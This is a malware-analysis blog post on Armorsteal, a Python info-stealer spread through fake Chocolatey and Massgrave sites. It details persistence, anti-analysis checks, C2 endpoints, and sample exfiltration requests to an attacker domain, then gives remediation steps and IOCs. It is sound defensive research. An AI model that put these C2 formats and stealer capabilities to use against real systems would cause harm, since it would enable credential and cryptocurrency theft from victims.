Blog Zscaler
Recevez les dernières mises à jour du blog de Zscaler dans votre boîte de réception
SEO Poisoning Campaign Delivers New Armorsteal Malware
Introduction
In September 2026, Zscaler Threat Hunting identified an SEO poisoning campaign that used fake websites impersonating the Chocolatey package manager and the Microsoft Activation Scripts (MAS) tool to distribute a Python-based malware family we track as Armorsteal. The fake websites targeted users searching for Chocolatey or MAS software installation commands. Each lure page displayed a malicious PowerShell command that downloaded and executed the Armorsteal installer. The installer deployed a Python 3.11 runtime environment and three main components providing remote access, surveillance, and information stealing capabilities, with the Python code protected by Pyarmor.
The remote access component communicates with a command-and-control (C2) server, downloads additional modules, and executes remote tasks. The surveillance component logs keystrokes, monitors the clipboard, captures screenshots, and displays fake cryptocurrency wallet notifications. The information stealing component targets browser data, Discord tokens, cryptocurrency wallets, seed phrases, saved passwords, SSH keys, and Steam data.
In this blog post, the Zscaler Threat Hunting team traces the campaign from poisoned search results through post-infection activity, including Armorsteal's components, C2 communication, and infrastructure changes observed during our analysis.
Key Takeaways
- In September 2026, the Zscaler Threat Hunting team identified an SEO poisoning campaign that distributed Armorsteal through websites impersonating Chocolatey and the Microsoft Activation Scripts (MAS) tool.
- The SEO campaign targeted users searching for Chocolatey installation instructions or Microsoft activation scripts.
- The remote access component verifies RSA-2048 signatures on Python tasks received from the C2 server before executing them.
- The surveillance component records window titles, logs keystrokes, monitors copied cryptocurrency wallet addresses, and captures screenshots when configured keywords are detected.
- The information stealing component steals Discord tokens, browser cookies, saved passwords, cryptocurrency wallet data, BIP39 seed phrases, and SSH keys.
Technical Analysis
The following sections provide details about the malware distribution, capabilities, and network communications.
SEO poisoning
Zscaler Threat Hunting identified two SEO poisoning lures that targeted users searching for Windows software installation instructions. One of those lures is shown in the figure below.

Figure 1: Google search results for “chocolatey install windows”.
Fake Chocolatey website
The first lure (seen in Figure 1) targets users looking for the Chocolatey package manager. A user searching for terms such as “install Chocolatey” and “Chocolatey PowerShell” may reach a typosquatted site impersonating chocolatey[.]org. The site displays a PowerShell installation command. When the user runs it, the malicious install.ps1 script downloads and installs the remote access module. The script also runs the legitimate Chocolatey installer, so Chocolatey appears to function as expected. The fake Chocolatey website and the malicious domain, choclatey[.]org, are shown below:

Figure 2: Fake Chocolatey website distributing Armorsteal.
Fake Massgrave website
The second lure targeted users searching for terms such as “Microsoft Activation Scripts,” “MAS activation script,” or “Massgrave activation”. These users may have reached massgravel[.]net, a malicious website impersonating the Microsoft Activation Scripts tool (a.k.a., the Massgrave project). The fake Massgrave website is shown in the figure below:

Figure 3: Fake Massgrave website distributing Armorsteal.
Although the two websites impersonate different projects and target different search queries, both deliver Armorsteal.
ANALYST NOTE: The fake Massgrave website went down on September 25, 2026, and the fake Chocolatey website went down around October 1, 2026.
Installation and persistence
Both installer variants request elevated privileges, hide the PowerShell console window, and download a ZIP archive to C:\Windows\SystemHealth\Update\ to mimic a legitimate Windows system directory. The archive contains a Python 3.11 runtime, Pyarmor runtime files, and Armorsteal Python-based scripts.
The installer creates the following scheduled tasks for persistence:
Scheduled task | Trigger | Description |
|---|---|---|
SysCheck2 | User logon | Launches the remote access module with the highest privileges available. |
SysCheckX | System boot | Launches the remote access module as SYSTEM after a 45-second delay. |
Table 1: Armorsteal scheduled task persistence.
Anti-analysis techniques
Armorsteal uses the following techniques to avoid research environments and complicate analysis:
- The remote access module checks the public IP address and organization information using
ipinfo[.]io. If the organization name returned matches a cloud provider such as Google, Amazon, Microsoft, or Azure, the module displays a fake “Memory is insufficient” message and exits. This can prevent the malware from running in some cloud-based analysis environments. - The Python scripts are protected with Pyarmor 9.1.7 (trial version). Pyarmor encrypts Python bytecode and string constants, making static analysis and detection more difficult. The trial runtime is operationally useful to the threat actor because it provides code obfuscation without requiring a commercial Pyarmor license.
Remote access module
The Armorsteal remote access module is stored as SysMon.py and is launched by the SysCheck2 and SysCheckX scheduled tasks. The module collects information about the infected system, including the hostname, operating system, processor, memory, disks, local IP address, public IP address, and network interfaces. It uses the motherboard serial number to create a machine identifier used in C2 communication.
The remote access module also downloads and launches the surveillance and information stealing modules.
The remote access module uses HTTPS and a hardcoded list of four C2 domains. It checks the availability of each domain before starting C2 communication. The C2 endpoints supported by the remote access module are shown in the table below:
Endpoint | Method | Description |
|---|---|---|
/downloadables/configf.json | GET | Checks whether the C2 server is available based on the HTTP status code 200. |
/receive_infof | POST | Sends device information to the C2 server. |
/get-onetime-code/{machine_id} | GET | Requests a task for an individual victim. |
/get-global | GET | Requests a task shared across all infected systems. |
/downloadables/{archive} | GET | In earlier builds, downloads the remote access module updates along with the surveillance and information stealing modules. |
Table 2: The remote access module C2 endpoints.
The following example shows the format of the HTTP POST request the remote access module uses to send system information to its C2 server.
POST /receive_infof HTTP/1.1
Host: workerstats[.]net
User-Agent: python-requests/2.31.0
Content-Type: application/json
Content-Length: {CONTENT_LENGTH}
{
"host_name": "{HOSTNAME}",
"ip_address": "{LOCAL_IP}",
"public_ip_address": "{PUBLIC_IP}",
"mac_address": "{MAC_ADDRESS}",
"system": "{WINDOWS_VERSION}",
"machine": "{MACHINE_ARCHITECTURE}",
"memory": {
"total": {TOTAL_MEMORY_SIZE},
"available": {AVAILABLE_MEMORY_SIZE},
"percent": {MEMORY_PERCENTAGE}
}
}The C2 server responds with the following message:
{"message":"Data received and stored successfully"}The remote access module polls its C2 server every 60 seconds for both per-victim and global tasks. The malware verifies every task received using an embedded RSA-2048 public key before executing it. The per-victim task endpoint returns JSON containing Python code and a Base64-encoded signature, as shown in the format below:
{
"code": "",
"sig": ""
} The global task endpoint returns a different response containing the # _ _SIGNED _ _: marker followed by the task data:
# _ _SIGNED_ _:{"code":"aW1wb3J0IG9zCmltcG9ydCBzdWJwcm9jZXNz...",
"sig":"fdWOAiJJ7qIowDnCEgO4LDd+s19RzzBjnKFQ9K447GXj..."}The remote access module uses a custom RSASSA-PKCS1-v1_5 signature verification routine before executing the task’s code in memory. After verifying a task's signature, it extracts an integer version number embedded in the Python code: ONETIME_VERSION for per-victim tasks and GLOBAL_VERSION for global tasks. The module compares this task version number with the last successfully executed version stored locally in its working directory, C:\Windows\SystemHealth\Update\. Task version numbers specific to a victim are stored in onetime_version.txt and global task versions are recorded in global_version.txt. The malware executes a task in memory only when its version is greater than the value in the corresponding file. The version number is then updated in the corresponding file. This prevents previously processed or older tasks from running again.
The Armorsteal remote access module can also update itself through global tasks. These tasks can direct the malware to download a replacement SysMon.py file. The module first verifies the SHA256 of the downloaded file before replacing its local copy. This capability allows the threat actor to update the malware's embedded C2 domain list and configuration.
Surveillance module
The surveillance component is named basrq.py and runs in a separate bundled Python interpreter in a ZIP archive, which is downloaded by the remote access module.
The surveillance module performs the following activities:
- Logs keystrokes (with specialized handling for English, French, Spanish, and German), including backspace, space, decimal separators, and modifier keys.
- Records the title of the active window along with captured keystrokes.
- Monitors clipboard content every 0.5 seconds.
- Replaces copied cryptocurrency wallet addresses with attacker-controlled addresses.
- Captures screenshots when configured keywords appear in window titles or captured keystrokes.
- Displays fake transaction notifications that impersonate Exodus, MetaMask, and Phantom.
The clipboard hijacker supports wallet addresses for Bitcoin, Litecoin, Monero, Ethereum, TRON, XRP, Dogecoin, TON, and Solana.
The Armorsteal surveillance module uses the following C2 endpoints to retrieve monitoring keywords and upload collected data.
Endpoint | Method | Description |
|---|---|---|
/global_keywords | GET | Retrieves campaign-wide monitoring keywords. |
/keywords/{machine_id} | GET | Retrieves keywords for a specific infected system. |
/black-watch/{machine_id} | POST | Uploads gzip-compressed keystroke logs. |
/black-watch/screenshot/{machine_id} | POST | Uploads keyword-triggered screenshots. |
Table 3: The Armorsteal surveillance module C2 endpoints.
The module retrieves keyword lists every 300 seconds. The observed lists include terms related to cryptocurrency wallets, exchanges, browser names, cloud services, and recovery phrase-related terms. Before uploading screenshots to /black-watch/screenshot/{machine_id}, the surveillance module encrypts their raw PNG bytes. The module computes the SHA256 digest of a hardcoded string and uses the resulting 32-byte value (c1146fbcaa433385839c25839a61cd7fedaff858cc0d3fd063dba68db2cf31b4) as an XOR key.
The following example shows the Armorsteal surveillance module uploading the stolen data using the filename keylogs.gz:
POST /black-watch/{machine_id} HTTP/1.1
Host: workerstats[.]net
Content-Type: multipart/form-data
Content-Disposition: form-data; name="keylogs"; filename="keylogs.gz"
Stealer module
The information stealing module’s script name is got.py, which is downloaded as a ZIP archive by the remote access module. This module collects data from web browsers, password managers, cryptocurrency wallets, Discord clients, and Steam installations. The stealer also collects system information, including geolocation, display information, language settings, time zone, and GPU details.
The stealer module has the following capabilities:
- Steals and validates Discord tokens from 22 Discord client variants.
- Collects data from 21 browser wallet extensions and desktop wallet applications.
- Searches drives from A: through Z: for BIP39 seed phrases.
- Extracts browser cookies through the Chrome DevTools Protocol (CDP) on port 9222.
- Steals saved browser passwords, autofill data, and credit card metadata. To collect browser passwords, the module downloads and uses the public chrome-decryptor tool from the Chrome App-Bound Encryption Decryption project.
- Targets password manager data from KeePass, 1Password, RoboForm, Password Safe, Enpass, Bitwarden, and Dashlane.
- Collects SSH keys and Steam session data.
The Armorsteal stealer module uses the following C2 endpoints to upload stolen data:
Endpoint | Method | Description |
|---|---|---|
/infame/receive/zip | POST | Uploads the main stolen data archive. |
/infame/receive/dt | POST | Uploads Discord tokens and account information. |
/ws/{machine_id} | POST | Uploads wallet files and seed phrases. |
/pwd | POST | Uploads saved browser passwords. |
/upload/st | POST | Uploads Steam account information. |
Table 4: Armorsteal stealer module C2 endpoints.
The main information stealing component archive contains a system profile and browser cookie files.
Threat Actor Infrastructure
Zscaler Threat Hunting identified Armorsteal lure and C2 domains registered on the dates shown in the table below. Shared malware components and an RSA-2048 task-signing key link the Chocolatey and Massgrave lures to the same operation.
Domain | Purpose | Registration Date | Registrar |
|---|---|---|---|
workerstats[.]net | Primary C2 | January 28, 2026 | NICENIC |
datamons[.]org | Standby C2 | May 19, 2026 | NameSilo |
supertrap[.]net | Standby C2 | August 29, 2026 | NameSilo |
massgravel[.]net | Fake Massgrave lure | August 30, 2026 | NICENIC |
choclatey[.]org | Fake Chocolatey lure | September 1, 2026 | Key-Systems |
niceer[.]net | Standby C2 | September 1, 2026 | NICENIC |
Table 5: Armorsteal lure and C2 domain registration details.
Zscaler Threat Hunting observed two phases of the campaign’s infrastructure changes during the analysis period. In the first phase (early September 2026), the fake Chocolatey website and its subdomains were hosted at 209.99.186[.]187, an SKN Subnet & Telecom server. At this time, workerstats[.]net was protected by Cloudflare and resolved to 104.21.87[.]146.
In mid-September 2026, the operator moved the Chocolatey and Massgrave lure websites to 82.153.135[.]80, hosted by AKILE LTD in the United Kingdom. The primary C2 domain, workerstats[.]net, also moved from Cloudflare to 186.2.175[.]183, hosted by IQWeb FZ-LLC and using DDoS-Guard name servers.
During continued monitoring (early October 2026), Zscaler Threat Hunting observed further changes to Armorsteal’s C2 infrastructure. The previously used domain, workerstats[.]net, became unavailable, and the threat actor began using pymons[.]is and the previously dormant domain datamons[.]org as C2 servers.
The threat actor subsequently changed how the surveillance and information stealing modules were downloaded. Previously accessible through the C2 server’s /downloadables/ path, the packages now require a token in the request URL and an X-Verify header containing the correct token. Requests use /C2/?t=[token]451 for surveillance and /C2/?t=[token]452 for information stealing. Successful requests retrieve ZIP packages from /p/[32hex].zip, with randomized filenames.
Remediations And Detection Opportunities
For organizations that suspect exposure to this campaign, we recommend the following actions:
- Investigate systems for
SysCheck2andSysCheckXscheduled tasks. - Hunt for files and directories under
C:\Windows\SystemHealth\Update\. - Review PowerShell logs for downloads from
choclatey[.]org,community[.]choclatey[.]org, andmassgravel[.]net. - Block the verified malicious lures and C2 domains.
- Review outbound HTTPS traffic for
/receive_infof,/get-global,/black-watch/, and/infame/receive/where URL paths are visible in your telemetry. - Review endpoint telemetry for browser processes started with
--remote-debugging-port=9222. - Remove unauthorized Microsoft Defender exclusions, particularly exclusions for
C:\Windows. - Educate users to verify software download websites and PowerShell installation commands before execution.
Conclusion
Armorsteal is a Python-based malware family distributed through an active SEO poisoning campaign that uses fake Chocolatey and Massgrave websites. The campaign deploys modules for remote access, cryptocurrency theft, clipboard hijacking, and credential stealing. The shared malware components, task-signing key, and C2 infrastructure link both lures to the same operation. Although the operator changed hosting and package filenames during our analysis, the core malware components remained unchanged. The Zscaler Threat Hunting team continues to monitor the campaign for infrastructure and payload changes.
Zscaler Coverage
Zscaler’s multilayered cloud security platform detects indicators related to Armorsteal at various levels. The figure below depicts the Zscaler Cloud Sandbox, showing detection details for Armorsteal.

Figure 4: Zscaler Cloud Sandbox report for Armorsteal.
In addition to sandbox detections, Zscaler’s multilayered cloud security platform detects indicators related to Armorsteal at various levels with the following threat names:
Zscaler MDR detects this threat with these detection analytics:
- WIN-CONHOST-HEADLESS-CMD
- WIN-SCHTASKS-CREATE-SHELL
- WIN-PYTHON-CHROMIUM-HEADLESS
Indicators Of Compromise (IOCs)
File indicators
SHA256 | Filename | Description |
|---|---|---|
f3846ec2a6ff0a27d9ef2b9bf7908743b81d295ef29344acfb96ff83fff994f9 | install.ps1 | MAS lure installer |
fb1181160e9f10ce1eb5e5dc9bc23e1498a39110ee9ea361fd150454cb01b292 | install.ps1 | Chocolatey lure installer |
3e3b62a9836697d978cbb620dc8af8f6eefdf8cb73fc30d16bb394d1c58f4c97 | Update.zip / Updatef.zip | Remote access module |
237ba698d7dc8936c43e0e78e7644002375e51e8baf9b3a7d4e18683f871ee31 | nig20084.zip | Surveillance module |
be0329d0795dd62ae587faf97e704bb36413e5c98ddd8fe575f5077db3c84e5f | getthem20084.zip | Stealer module |
04d2828155ed2a276cfd3c97d4f966d328391dd818e04e773212cd601e49fa74 | nig20083.zip | Older stealer module |
56f05c4fb1c25c04e0dde60e2e5e41ac164a6dc53688d0f9eb52a55f82106389 | getthem20083.zip | Older stealer module |
0ea99fbbe29af6f797e3866ed5f822c7a5d3e9cdb990a8c382a715069f156499 | SysMon.py | Remote access module |
8fb7aaf2b9270b8b75f6844aaefd5242b4f926fb89cba10fff3d9b908a769788 | basrq.py | Surveillance module |
5410c2f239c3649928383c4478dea182f90b21f5b258081fec07e9d297ae4b1c | got.py | Stealer module |
Network indicators
Indicator | Type |
|---|---|
choclatey[.]org | Fake Chocolatey domain |
massgravel[.]net | Fake MAS domain |
workerstats[.]net | C2 domain |
pymons[.]is | C2 domain |
datamons[.]org | Initially standby C2; later active |
niceer[.]net | Standby C2 |
82[.]153[.]135[.]80 | Payload host |
186[.]2[.]175[.]183 | C2 IP address |
186[.]2[.]163[.]185 | C2 IP address |
190[.]115[.]31[.]69 | C2 IP address |
209[.]99[.]186[.]187 | Payload host |
Cet article a-t-il été utile ?
Clause de non-responsabilité : Cet article de blog a été créé par Zscaler à des fins d’information uniquement et est fourni « en l’état » sans aucune garantie d’exactitude, d’exhaustivité ou de fiabilité. Zscaler n’assume aucune responsabilité pour toute erreur ou omission ou pour toute action prise sur la base des informations fournies. Tous les sites Web ou ressources de tiers liés à cet article de blog sont fournis pour des raisons de commodité uniquement, et Zscaler n’est pas responsable de leur contenu ni de leurs pratiques. Tout le contenu peut être modifié sans préavis. En accédant à ce blog, vous acceptez ces conditions et reconnaissez qu’il est de votre responsabilité de vérifier et d’utiliser les informations en fonction de vos besoins.
Recevez les dernières mises à jour du blog de Zscaler dans votre boîte de réception
En envoyant le formulaire, vous acceptez notre politique de confidentialité.


